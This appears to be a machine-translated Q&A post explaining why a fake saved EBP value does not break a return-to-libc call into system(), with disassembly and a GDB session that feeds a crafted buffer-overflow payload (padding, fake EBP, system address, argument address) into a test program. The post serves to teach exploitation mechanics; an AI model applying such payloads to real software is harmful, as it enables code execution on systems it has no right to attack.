не будет ли "системная" функция использовать этот поддельный адрес EBP для доступа к его аргументу без успеха? Если мы поместим поддельный адрес в стек, разве «системная» функция не использует этот поддельный адрес EBP для доступа к его аргументу без успеха?
Нет. Это произойдет, если вы перезапишите EBP, а затем действительно вернетесь из функции к вызывающей стороне . Поскольку вы также перезаписываете обратный адрес, вы фактически никогда не возвращаетесь к вызывающей стороне, а вместо этого вводите system
. Что произойдет при возврате в system
будет:
0x0804847a <+22>: ... ; Here %ebp is still valid.
0x0804847f <+27>: leave ; Same as: mov %ebp, %esp; pop %ebp
0x08048480 <+28>: ret ; %ebp becomes invalid, but %esp is still valid.
|
v
0x08048360 <+0>: push %ebp ; Push the invalid value.
0x08048361 <+1>: mov %esp,%ebp ; Move %esp (valid) into %ebp ==> %ebp is now valid again.
Вот почему в статье, на которую вы ссылаетесь, написано «фальшивый EBP», потому что вас не волнует значение. Пока ваша функция на самом деле не возвращается к вызывающей стороне, вы в порядке, и ваша цепочка ROP будет продолжаться без проблем, потому что каждая функция, к которой вы переходите, будет иметь пролог, подобный приведенному выше.
Вы можете проверьте это, запустив программу под GDB следующим образом:
$ gdb ./program
(gdb) break *0x08048480 # address of the 'ret' instruction
(gdb) run <<< "$(python -c 'print "A"*0x6c + "BBBB" + "\x60\x83\x04\x08" + "CCCC" + "\x80\x85\x04\x08"')"
Затем, когда вы достигнете точки останова, посмотрите, где вы находитесь, с помощью команды disassemble $eip
, а затем перейдите к si
(пошаговая инструкция) и используйте info registers
для просмотра значений регистров после каждой инструкции.